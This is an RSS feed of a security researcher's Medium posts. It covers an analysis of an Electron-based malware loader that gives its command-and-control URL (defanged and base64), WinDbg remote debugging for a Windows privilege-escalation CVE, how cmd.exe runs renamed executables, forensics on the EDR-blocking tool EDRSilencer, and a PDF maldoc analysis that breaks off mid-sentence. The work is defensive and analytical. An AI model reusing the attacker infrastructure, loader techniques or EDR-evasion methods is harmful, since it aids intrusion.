<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by GhouLSec on Medium]]></title>
        <description><![CDATA[Stories by GhouLSec on Medium]]></description>
        <link>https://medium.com/@ghoulsec?source=rss-213da8805621------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*RzIDH0tmcIi61zXD7whGvA.jpeg</url>
            <title>Stories by GhouLSec on Medium</title>
            <link>https://medium.com/@ghoulsec?source=rss-213da8805621------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Tue, 24 Nov 2026 03:40:10 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@ghoulsec/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[[Mal Series #27] NSIS Packed Electron App]]></title>
            <link>https://ghoulsec.medium.com/mal-series-27-nsis-packed-electron-app-4b562ff712e5?source=rss-213da8805621------2</link>
            <guid isPermaLink="false">https://medium.com/p/4b562ff712e5</guid>
            <category><![CDATA[threat-intelligence]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[cybercrime]]></category>
            <category><![CDATA[malware-analysis]]></category>
            <category><![CDATA[malware]]></category>
            <dc:creator><![CDATA[GhouLSec]]></dc:creator>
            <pubDate>Wed, 05 Feb 2025 08:44:44 GMT</pubDate>
            <atom:updated>2025-02-06T13:07:03.717Z</atom:updated>
            <content:encoded><![CDATA[<p>Just came across on a X post from <a href="https://x.com/dez_/status/1881082356901245398">Joe Desimone</a> on some “FUD” malware. Out of curiosity, I took a quick look on the samples.</p><p>The sample is quite huge which is about ~135 MiB. It is an <a href="https://www.electronjs.org/docs/latest/why-electron">electron app</a> packed with NSIS Installer. Since it is NSIS Installer, it can be decompressed by 7zip or any other archive tools.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1021/1*rRZqVNjqfFprZ1E_QkBQJA.png" /><figcaption>The installer decompressed as sample~</figcaption></figure><p>The main file to look for is <a href="https://www.electronjs.org/docs/latest/tutorial/asar-archives">app.asar</a> as this contains the electron app’s source code and builder files.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/345/1*FbdKT_ap6YSP2GYU40Ovpw.png" /><figcaption>The app folder in red color decompressed from app.asar</figcaption></figure><p>Inside the app folder, there is a lot of files. The manifest file package.json looks promising to start the investigation as it gives some clue on the initial entry of the application.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/321/1*EY6qPz8XEfNHvMpbP9m51w.png" /><figcaption>app (app.asar) folder structure</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*HzSpyStIa5_f52ewS77Uww.png" /></figure><p>The variable <a href="https://docs.npmjs.com/cli/v10/configuring-npm/package-json?v=true#main">main</a> is the main entry point of the code, with is background.js in this case. If we try to look for background.js, nothing will be found, only Typescript background.ts found inside the electron folder as it hasn’t compiled into Javascript form yet via the command in transpile-electron.</p><p>The variable scripts it’s like a list of commands that can be execute during different development lifecycle. For example, create a Windows dev app by executing npm run dev:electron:win.</p><p>After looking at the package.json in app.asar, we can start looking at background.ts for any suspicious sign of malware.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/772/1*4Pi0V1q6Q0xnSmNEKWDG6Q.png" /><figcaption>Snippet of background.ts</figcaption></figure><p>Based on the code in background.ts, it will simply redirect to jumpUp() function.</p><p>Wonder where the invoke-start-install called? It can be found in the preload script.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*sv6olyOtJ4ofvYAB9XRoZA.png" /><figcaption>Snippet of preload.js</figcaption></figure><p>The outMutation.js calls jumpUp() function that will eval a large base64 blob which contains the logic to retrieve the next stage URL which embedded in a Google Calendar page.</p><p>Reader can go to <strong>Source Code</strong> section below for the base64 decoded code.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/801/1*XYX97lirX0JAOiEbgcdxEQ.png" /><figcaption>outMutation.js</figcaption></figure><p>The Google Calendar page looks like below.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*f-a1t572Y59addgapt_2og.png" /></figure><p>By looking at the source code of the base64 decoded code, it will use regex to extract value from data-base-title, then base64 decode it to get the next stage URL for retrieving the next stage base64 encoded payload.</p><p>The base64 decoded value of data-base-title is <a href="http://82.197.67.174/maMdBrC3gKoJskqUA4gXsQ%3D%3D">http://82.197.67[.]174/maMdBrC3gKoJskqUA4gXsQ%3D%3D</a>. Unfortunately, the URL content is base64 form of process.exit(0) that will just end the process for going further🥲. Probably the URL is request sensitive that will response with different content based on the user request header or threat actor just changed the content 🤔.</p><p>Believe that the payload is something similar with the unused code in _ex_load.js since both iv and key are used in both cases 🤔.</p><p>The code snippet of _ex_load.js can be found in the following section.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Mg34GEY_TiJpcszgzgVkVg.png" /><figcaption>Snippet of the Google Calendar page</figcaption></figure><h3>Development Artifacts</h3><p>Upon dig deeper into the builder related files, there are more information can be found. In this case, crypto.js provides more insight on how the does source code generated with the inputs from .env file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/766/1*0AZ2OisUxKcbIeSmBM4YwQ.png" /><figcaption>Content of .env</figcaption></figure><p>The base64 encoded string in the !!!LINK is the aes-256-cbc encoded partner ID.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dpImI8lN89JQS_kVtmQPqA.png" /><figcaption>Content of link.txt</figcaption></figure><pre>Partner ID: 6PHM9GG3zOACOOY <br>Target URL: aHR0cDovLzgyLjE5Ny42Ny4xNzQvbWFNZEJyQzNnS29Kc2txVUE0Z1hzUSUzRCUzRA==</pre><p>From the transpile-electron command in package.json, node process will execute crypto.js followed with typescript compiling. The crypto.js will load the loadModule.js and replace all the placeholder in the code with some random strings then output into outMutation_clearComment.js and generate outMutation.js which is the code that leads to next stage payload.</p><p>Seems like the malware authors are from Russia, based on the comments in crypto.js file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wR_puOqqW9rtur_Jggi-IA.png" /><figcaption>Snippet of crypto.js</figcaption></figure><p>There is a remaining question on the index.node file, based on my understanding on Google search results, it seems like a Windows DLL binary, but it has been aes-128-cbc encoded. However, in this case, it might be a large base64 blob based on the reference in _ex_load.js. Seems like this is the alternative way to execute the base64 encoded command and they didn’t remove it somehow 🤔</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*T_PanMkOKcXWTcjp_Vd1Fw.png" /><figcaption>Snippet of crypto.js</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bFz1NaRTS9RYKt-sdSK4pQ.png" /><figcaption>Snippet of _ex_load.js</figcaption></figure><h3>Source Code</h3><p>Credits to ChatGPT for replacing all the base64 strings in the Javascript code✌️(There is some error on those base64 decoded string)</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/99f99f619728e8babceac4fcbb2194d7/href">https://medium.com/media/99f99f619728e8babceac4fcbb2194d7/href</a></iframe><h3>References</h3><p><a href="https://medium.com/@libaration/decompiling-and-repacking-electron-apps-b9bfbc8390d5">Decompiling and repacking Electron Apps | by Cristian Deleon | Medium</a></p><p><a href="https://forums.malwarebytes.com/topic/312048-there%E2%80%99s-a-new-stealer-variant-in-town-and-it%E2%80%99s-using-electron/">There’s a New Stealer Variant in Town, and It’s Using Electron … — General Chat — Malwarebytes Forums</a></p><p><a href="https://asec.ahnlab.com/en/64445/">Distribution of Infostealer Made With Electron — ASEC</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=4b562ff712e5" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[[Misc Series #6] Windbg Remote Debugging]]></title>
            <link>https://ghoulsec.medium.com/misc-series-6-windbg-remote-debugging-5aac3db856be?source=rss-213da8805621------2</link>
            <guid isPermaLink="false">https://medium.com/p/5aac3db856be</guid>
            <category><![CDATA[windbg]]></category>
            <category><![CDATA[debugging]]></category>
            <category><![CDATA[reverse-engineering]]></category>
            <category><![CDATA[exploitation]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[GhouLSec]]></dc:creator>
            <pubDate>Sun, 15 Sep 2024 08:47:38 GMT</pubDate>
            <atom:updated>2024-12-29T04:05:34.717Z</atom:updated>
            <content:encoded><![CDATA[<p>Recently came across with interesting blogs from <a href="https://ti.qianxin.com/blog/articles/public-secret-research-on-the-cve-2024-30051-privilege-escalation-vulnerability-in-the-wild-cn/">RedDrip</a> and <a href="https://www.coresecurity.com/core-labs/articles/windows-dwm-core-library-elevation-privilege-vulnerability-cve-2024-30051">Fortra</a> which talks about dwmcore.dll vulnerability (CVE-2024-30051). This vulnerability is interesting when it comes to debug the vulnerable function. Since the vulnerable function is in user-mode and it can’t debug directly on the machine itself as debugging dwm.exe (The process that loads dwmcore.dll) directly will cause graphic freeze on the machine.</p><p>In order to debug the dwm.exe or dwmcore.dll without any issue, remote debugging can be useful over here. You may think why not just using kernel mode? I had tried this, and it doesn’t always or never hit the breakpoint on the user-mode code which makes debugging process difficult in this case.</p><p>After some Google-fu, found this <a href="https://www.timdbg.com/posts/remote-debugging/#:~:text=To%20connect%20to%20this%20debugging%20server%20from%20another,will%20immediately%20connect%20to%20the%20remote%20debugging%20session">blog</a> from TimDbg which give tutorial on setting up remote debugging 🐞 by using Microsoft NT Symbolic Debugger (NTSD) or DbgSrv on the machine where we want to debug. This is very useful in my use case.</p><h3>Environment Setup</h3><h4>Debuggee machine (Windows 10 VM)</h4><p>This is the host machine that you want to debug.</p><p>I’m using NTSD in this case, you can get it by:</p><ul><li>Install <a href="https://learn.microsoft.com/en-us/windows-hardware/drivers/download-the-wdk">Visual Studio</a></li><li>Install <a href="https://learn.microsoft.com/en-us/windows-hardware/drivers/download-the-wdk">Windows Driver Kit</a></li></ul><p>After that, you have to enable kernel mode debugging in the debuggee machine.</p><pre>&gt; bcdedit /debug on<br>&gt; bcdedit /set TESTSIGNING ON<br>&gt; shutdown /r /t 0</pre><h4>Debugger machine (Windows 10 Host)</h4><p>This is the client machine you want to debug from.</p><ul><li>Install Windbg Preview from <a href="https://learn.microsoft.com/en-us/windows-hardware/drivers/debugger/">here</a>.</li></ul><h3>Initiating Debugging Session</h3><h4>Debuggee machine</h4><p>Get the kernel debug key with the command below.</p><pre>&gt; bcdedit /dbgsettings NET HOSTIP:&lt;YOUR_INTERFACE_IP_FROM_WINDBG_MACHINE&gt; PORT:&lt;YOUR_PORT&gt;</pre><blockquote>I would prefer to put IP in Ethernet adapter VMware Network Adapter (Found in ipconfig) as INTERFACE_IP as this is the local connection between debugger and debugee host.</blockquote><p>The key value is after the Key= (It ends with iv8 for my case)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SzPPcFGVYJxb9WKm_fxeMQ.png" /></figure><p>Execute ntsd to pass the control of the debugger to the kernel debugger (Windbg). For further information on the command switch used, please read the doc <a href="https://learn.microsoft.com/en-us/windows-hardware/drivers/debugger/cdb-command-line-options">here</a>. The machine’s graphic will freeze after ntsd attached to the dwm.exe</p><pre>&gt; ntsd -d -p &lt;pid_of_dwm&gt;</pre><blockquote>Remember set the ntsd into global path via environment settings</blockquote><h4>Debugger machine</h4><p>Launch Windbg, go to <strong>File &gt;</strong> <strong>Start debugging &gt; Attach to kernel</strong>. Copy the key value get from the debuggee machine and paste it into <strong>Key</strong> textbox in Windbg.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*eYNTUXSzniW2jiXxkX8eAw.png" /></figure><p>If there is no issue, you should see the Input&gt; prompt from Windbg instead of kd&gt;.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NHs4x61CSGxM9ifNj3Yrng.png" /><figcaption>User mode debug console</figcaption></figure><p>From here you can start placing breakpoint on the user-mode process being debugged (In this case is dwm.exe and its relevant modules loaded)</p><p>For example:</p><pre>Input&gt; bp dwmcore!CCommandBuffer::Initialize+0x96 &quot;.if(@r8==0x35f) {.echo hit} .else {gc;}&quot;</pre><p>The .if(@r8==0x35f) {.echo hit} .else {gc;} is the conditional breakpoint for Windbg which you can try to play around with it ✌ as this is important when debugging the system code to ensure the breakpoint hits when it meets certain requirements. If not, you have to keep pressing g forever 😴</p><p>You can type .breakin or g in the prompt to switch back to kernel debug mode. From there the graphic on debuggee machine will stop freezing and proceed to execute the exploit store in the debuggee machine. The execution of the exploit will hit the breakpoint set in the user-mode code.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OR2MKzKvutp8rQ2PAnLzLg.png" /><figcaption>Kernel mode debug console</figcaption></figure><p>Once hitting the breakpoint of the user-mode code, you will get back to the Input&gt; prompt. Then, continue debug the user-mode code from there. Since in this mode, <strong>step in (t) or step out</strong> <strong>(p)</strong> or <strong>go</strong> <strong>(g)</strong> can’t execute from Windbg GUI button. Have to do these actions via the Input&gt; prompt.</p><p>I hope this is helpful to anyone who wanted to try analyzing this dwmcore vulnerability as I’m struggling to debug the user-mode module for a long time 🥲</p><h3>References</h3><p><a href="https://www.timdbg.com/posts/remote-debugging/#:~:text=To%20connect%20to%20this%20debugging%20server%20from%20another,will%20immediately%20connect%20to%20the%20remote%20debugging%20session.">Remote Debugging // TimDbg</a></p><p><a href="https://learn.microsoft.com/en-us/windows-hardware/drivers/debugger/debugger-download-tools#cdb-and-ntsd">Debugging Tools for Windows — Windows drivers | Microsoft Learn</a></p><p><a href="https://learn.microsoft.com/en-us/windows-hardware/drivers/debugger/switching-modes">Switching Modes — Windows drivers | Microsoft Learn</a></p><p><a href="https://www.codeproject.com/Articles/6084/Windows-Debuggers-Part-1-A-WinDbg-Tutorial">Windows Debuggers: Part 1: A WinDbg Tutorial — CodeProject</a></p><p><a href="https://processhacker.sourceforge.io/doc/struct___r_t_l___u_s_e_r___p_r_o_c_e_s_s___p_a_r_a_m_e_t_e_r_s.html">Process Hacker: _RTL_USER_PROCESS_PARAMETERS Struct Reference (sourceforge.io)</a></p><p><a href="https://captmeelo.com/redteam/maldev/2022/05/10/ntcreateuserprocess.html">Making NtCreateUserProcess Work — Hack.Learn.Share (captmeelo.com)</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=5aac3db856be" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[[Misc Series #5] How Windows CMD and PowerShell Execute a File?]]></title>
            <link>https://ghoulsec.medium.com/misc-series-5-how-windows-cmd-and-powershell-execute-a-file-63cf88b6aed5?source=rss-213da8805621------2</link>
            <guid isPermaLink="false">https://medium.com/p/63cf88b6aed5</guid>
            <category><![CDATA[reverse-engineering]]></category>
            <category><![CDATA[debugging]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[windows]]></category>
            <category><![CDATA[software]]></category>
            <dc:creator><![CDATA[GhouLSec]]></dc:creator>
            <pubDate>Wed, 22 May 2024 16:58:33 GMT</pubDate>
            <atom:updated>2024-05-23T14:42:54.239Z</atom:updated>
            <content:encoded><![CDATA[<p>This blog will note down some mechanism that Windows implemented to select an application to open a file. Both cmd.exe and powershell.exe were tested in this case.</p><p>Let’s try this by using an executable file named calc.exe which has renamed into calc.pdf. During the experiment, <strong>cmd.exe</strong> able to run the executable <strong>regardless of the file extension name</strong>. However, <strong>powershell.exe</strong> will select default application that <strong>associated with the file extension name </strong>to open the file.</p><p>Command used in the experiment:</p><pre>PS&gt; calc.pdf (Result: Launch MSEdgePDF)<br>CMD&gt; calc.pdf (Result: Pop calc.exe application)</pre><p>General explanation on the behavior:</p><ul><li>In powershell.exe, the file extension name will be extracted and compared it within the user registry to search for default application to open a file. CreateProcessW will execute later based on the application command found in registry.</li><li>In cmd.exe, windows directly first execute the input file via CreateProcessW before performing any registry search to look for default application to open the file. There are MZ byte check within the kernel code of CreateProcessW and this is why we can run any executable file regardless of the file extension.</li></ul><h4>Notes for file that executed via powershell.exe</h4><p>Most of the relevant functions were found in windows.storage.dll, at least for user mode code.</p><p>The extracted extension name will fill up the %s from registry subkey HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts\%s\UserChoice. It will then be HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.pdf\UserChoice. Registry value ProgId contains the default application for pdf file. In this case, it is MSEdgePDF.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/772/1*PzQ55_5YH6KaZr1pqS8mIA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4nCnPEkwQJBN6ojGpVtZqg.png" /><figcaption>Inside QueryUserAssocAndVerifyHash()</figcaption></figure><p>After retrieve the ProgId value, MSEdgePDF, its command value will retrieve from registry key Computer\HKEY_CLASSES_ROOT\%s\shell\open\command. The %s replaced with MSEdgePDF and becomes Computer\HKEY_CLASSES_ROOT\MSEdgePDF\shell\open\command.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*G_Ag8k75j8m-7q-T2Qljcw.png" /></figure><p>Once retrieved the application command from the registry key above, it will fill up any remaining placeholder value and CreateProcessW will be trigger the open the file passed into the parameter.</p><h4>Notes for file that executed via cmd.exe</h4><p>In normal case, if NtCreateUserProcess able to create a process in suspended mode, it will break the while loop and continue with image section creation (Based on my roughly check in the function itself) then followed by NtResumeThread to continue with the execution of new process.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_f1tO0Po3LFYDHYjwu-z9w.png" /><figcaption>Launch an exe file with .pdf extension via cmd.exe &gt; calc.pdf</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1000/1*tHy32eJw3vF2URnm_DqSDA.png" /></figure><p>If the input file passed to in the function CreateProcessW return error code (<strong>0xC000012F</strong>, <strong>STATUS_INVALID_IMAGE_NOT_MZ</strong>), It will do some handling before performing the registry check to find associated application to open the file as mentioned in the method above.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*iM2ApOSpFAL-iiLMaP5lHA.png" /><figcaption>Launch an exe file with non-MZ header via cmd.exe &gt; test.txt</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ph1NLIM5lU3lAewTXc8rsg.png" /><figcaption>Some checking was done before looking for associated app in registry</figcaption></figure><p>To find out where does the 0xC000012F error code comes from, I did some tracing within NtCreateUserProcess 🕵️</p><p>As the error code mentioned something related with <strong>MZ header</strong>. I will be using an executable file (In my case is calc.exe) that starts with NZ instead of MZ. So that I can trigger the error and trace it accordingly.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*yqfhA9-tn9skmBXs4JQZIQ.png" /><figcaption>Snippet for code tracing</figcaption></figure><p>After some tracing was done, error code 0xC000012F can found in MiCreateImageFileMap🥲😌</p><p>Here is the flow to get into the MiCreateImageFileMap function.</p><pre>nt!NtCreateUserProcess -&gt; MmCreateSpecialImageSection -&gt; MiCreateSection -&gt; MiCreateImageOrDataSection -&gt; MiCreateNewSection -&gt; MiCreateImageFileMap</pre><p>As you can the code snippet in MiCreateImageFileMap, there is a first two bytes check for MZ strings. If the first two bytes of the input file doesn’t match the condition, it will return with the error code, 0xC000012F which is matched with the error code found in the CreateProcessW in user mode.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/467/1*QKhTqUpsuHbDt5pjyunQPw.png" /><figcaption>The MZ error handling can be found inside MiCreateImageFileMap</figcaption></figure><p>By using the malformed file, we are able to identify the code which perform the validation for windows executable file😋. This trick is quite useful when you want to determine something in a code where you don’t have much understanding on it✌️</p><h3>Conclusion</h3><p>It’s a “boring” investigation, but now it is good to know that you can run executable file with any extension name in cmd.exe but not powershell.exe 🤣</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=63cf88b6aed5" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[[Misc Series #4] Forensics on EDRSilencer Events]]></title>
            <link>https://ghoulsec.medium.com/misc-series-4-forensics-on-edrsilencer-events-428b20b3f983?source=rss-213da8805621------2</link>
            <guid isPermaLink="false">https://medium.com/p/428b20b3f983</guid>
            <category><![CDATA[digital-forensics]]></category>
            <category><![CDATA[threat-hunting]]></category>
            <category><![CDATA[computer-forensics]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[blue-team]]></category>
            <dc:creator><![CDATA[GhouLSec]]></dc:creator>
            <pubDate>Thu, 04 Jan 2024 16:04:56 GMT</pubDate>
            <atom:updated>2024-01-05T11:41:49.840Z</atom:updated>
            <content:encoded><![CDATA[<p><a href="https://github.com/netero1010/EDRSilencer">EDRSilencer</a> by <a href="https://github.com/netero1010">netero1010</a> is a tool that utilizing Windows Filtering Platform (WFP) to block EDR agent to send out its event data to its server by adding both <strong>IPv4</strong> and <strong>IPv6</strong> WFP <a href="https://github.com/netero1010/EDRSilencer/blob/main/EDRSilencer.c#L150">outbound</a> block rule (Administrator access required). That is bad as most of the defenders are heavily depends on the event data from EDR to perform their operation task. In this blog, here are some of the indicators that we can go for if the EDR event data flow has been “blocked” due to any security events (e.g. red teaming or threat actor).</p><h4>Event Logs</h4><p>As usual, <strong>Security</strong> <strong>event logs </strong>contain event that is related to WFP and now we are focusing on the WFP <strong>block </strong>events which are EID 5152 and 5157</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*l2hM7VWSliaifyZOQld7tQ.png" /><figcaption>Taken from documentation.solarwinds.com</figcaption></figure><p>However, it is not enable by default as enabling it may cause event flood and thus leading to performance issue.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/687/1*cdb86Tq_Itgr594-m36ofw.png" /><figcaption>Enabling WFP Audit</figcaption></figure><p>There is a down side on this audit as it won’t immediately log the WFP filter rule add event from EDRSilencer once the EDRSilencer added the WFP rule to block the outbound connection of the EDR process. Those WFP events <strong>only log if the user execute any files (e.g. Laucnhing mimikatz.exe) that will trigger EDR to send out event data to its server</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*iJUJG301-2g0hHmVAdDwAQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Q5xHPbCJ9ApVNUxNThxzqA.png" /><figcaption>EID 5157 &amp; 5152</figcaption></figure><p>Screenshots above are the events EID 5157 &amp; 5152 that the outbound connection from msmpeng.exe being blocked by the WFP rule (I don’t have EDR in my environment, so I’m just using it as example 🤣)</p><p>Thanks for the blog from <a href="https://medium.com/csis-techblog/silencing-microsoft-defender-for-endpoint-using-firewall-rules-3839a8bf8d18">Soren</a>, there is another event log for the MDE agent which is <a href="https://learn.microsoft.com/en-us/microsoft-365/security/defender-endpoint/event-error-codes?view=o365-worldwide"><strong>Microsoft-Windows-SENSE/Operational</strong></a><strong> </strong>that will log any failed connection from MDE to the server as EID 5. Probably different EDR will have different ways of logging this kind of event.</p><h4>Netsh</h4><p>We also can leverage netsh wfp show netevents command to get the WFP events in xml form.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/580/1*Xsn2RDmv1QKNOPrSYvQjXw.png" /></figure><p>As we can see in netevents.xml, the string in the &lt;asString&gt; tag is in UTF16-LE format while the &lt;data&gt; tag is the hex representation of string in &lt;asString&gt; tag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6vQ11QOETJYo9E8bf4Z9FA.png" /><figcaption>netviews.xml</figcaption></figure><h4>WFPExplorer</h4><p><a href="https://github.com/zodiacon/WFPExplorer">WFPExplorer</a> from <a href="https://github.com/zodiacon/WFPExplorer">zodiacon</a> is a GUI tools that can look for the WFP objects. Look for the Filters and we can find the hard coded filter name from EDRSilencer, Custom Outbound Filter in there.</p><p>Note that, the ALE App ID bytes in WFPExplorer the matches with the App ID in netviews.xml (&lt;appId&gt; &gt; &lt;data&gt; tag)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kIrzW-RuumksMxG8PoKP_g.png" /><figcaption>EDRSilencer filter on WFPExplorer</figcaption></figure><h4>Firewall Logs</h4><p>Firewall logs also contains some useful information (Src &amp; Dest IPs, packet size etc) to support further support the events stored in security event log.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KZzjeExrcSTFfpRPjw8vug.png" /><figcaption>Dropped packet data in pfirewall.log that supports events in security event log</figcaption></figure><p>Same with WFP event logs, the windows firewall doesn’t log those packet drop events by default. We have to enable it based on the network profile the we are using.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/855/1*LE7BXICc4Y_9_qCPoQYKHw.png" /></figure><p>Once enabled the Log dropped packets, any dropped packet will be logged in %systemroot%\system32\logfiles\firewall\pfirewall.log</p><h4><strong>Registry Key</strong></h4><p>The WFP filter data of the EDRSilencer can be found in the service registry key Base Filtering Engine (BFE) which is located as HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\BFE\Parameters\Policy\Persistent\Filter</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dwD9DNX1kD8Os40phQq0xg.png" /></figure><p>Some extra reading on the <a href="https://blog.quarkslab.com/windows-filtering-platform-persistent-state-under-the-hood.html">WFP</a> from QuarksLab.</p><h4>Host Events</h4><p>EDRSilencer have to load the msmpeng.exein order to pass EDR process into the WFP filter function (Relevant <strong>code</strong>). So theoretically, the loading process will still get log by EDR.</p><p>However, this is just a clue for the investigator that a EDR process has been loaded.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*agYoC_maiYh5pKruwWBL3w.png" /><figcaption>EDR process file has been loaded by EDRSilencer before apply the WFP block rule.</figcaption></figure><p>Once it was succeed, we can see the the TCP Disconnect events from the msmpeng.exe and once the WFP block rule disabled, the event data flow to server gets back to normal (TCP Send &amp; TCP Receive). However, this part will be not visible in EDR since the WFP block rule has been applied on the EDR process.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*AIWblVEs9OJVJARYc4Fjpg.png" /><figcaption>Difference on the TCP events when WFP block enabled and disabled by EDRSilencer</figcaption></figure><p>Hopefully, this quick blog post helps and remember check both <strong>IPv4</strong> and <strong>IPv6</strong> WFP rules, cheers !!</p><h4>References</h4><ul><li><a href="https://github.com/netero1010/EDRSilencer">GitHub - netero1010/EDRSilencer: A tool uses Windows Filtering Platform (WFP) to block Endpoint Detection and Response (EDR) agents from reporting security events to the server.</a></li><li><a href="https://documentation.solarwinds.com/en/success_center/sem/content/admin_guide/2-sem_set-up_config_maintenance/sem-disable-windows-filtering-alert-distribution.htm">Collect Windows Filtering Platform (WFP) events</a></li><li><a href="https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/event.aspx?eventid=5156">Windows Security Log Event ID 5156 - The Windows Filtering Platform has allowed a connection</a></li><li><a href="https://github.com/zodiacon/WFPExplorer">GitHub - zodiacon/WFPExplorer: Windows Filtering Platform Explorer</a></li><li><a href="https://www.lookingpoint.com/blog/windows-is-blocking-traffic">Windows is Blocking Traffic!</a></li><li><a href="https://blog.quarkslab.com/windows-filtering-platform-persistent-state-under-the-hood.html">Windows Filtering Platform: Persistent state under the hood</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=428b20b3f983" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[[Mal Series #26] Quick Analysis on Maldoc in PDF]]></title>
            <link>https://ghoulsec.medium.com/mal-series-26-quick-analysis-on-maldoc-in-pdf-f218c96ab3c2?source=rss-213da8805621------2</link>
            <guid isPermaLink="false">https://medium.com/p/f218c96ab3c2</guid>
            <category><![CDATA[threat-hunting]]></category>
            <category><![CDATA[incident-response]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[malicious-code]]></category>
            <category><![CDATA[malware-analysis]]></category>
            <dc:creator><![CDATA[GhouLSec]]></dc:creator>
            <pubDate>Fri, 01 Sep 2023 01:02:28 GMT</pubDate>
            <atom:updated>2023-09-01T02:47:54.521Z</atom:updated>
            <content:encoded><![CDATA[<p>Recently just came across with the <a href="https://blogs.jpcert.or.jp/en/2023/08/maldocinpdf.html">JPCert</a> blog which talks about <strong>MalDoc in PDF </strong>which is quite interesting and I’m just took the sample and start analyze on them. This blog will share my analysis and a interesting artifact that left behind when the maldoc starts an internet connection to next stage url.</p><p>It is recommend to read through their blogs for better understanding on the file structure.</p><h3>Analysis</h3><p>Thanks for <a href="https://twitter.com/wdormann/status/1696197904262742370">Will Dormann</a>’s X post which mentioned that the link tab with rel attributeEdit-Time-Data will points to a base64 encoded ActiveMime blob. This would be a great start to begin the analysis.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/739/1*M1AkF31EG5L5CZANmJfFeg.png" /></figure><p>In the malicious sample, it was found that the string in link tab with rel attribute Edit-Time-Data has been URL encoded. The decoded URL string leads to a .jpg file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TAq1z8k95lY7pme1-i0-yw.png" /><figcaption>Encoded URL String</figcaption></figure><p>By following the .jpg file, there is a large chunk of base64 strings which is bloated with <strong>CRLF 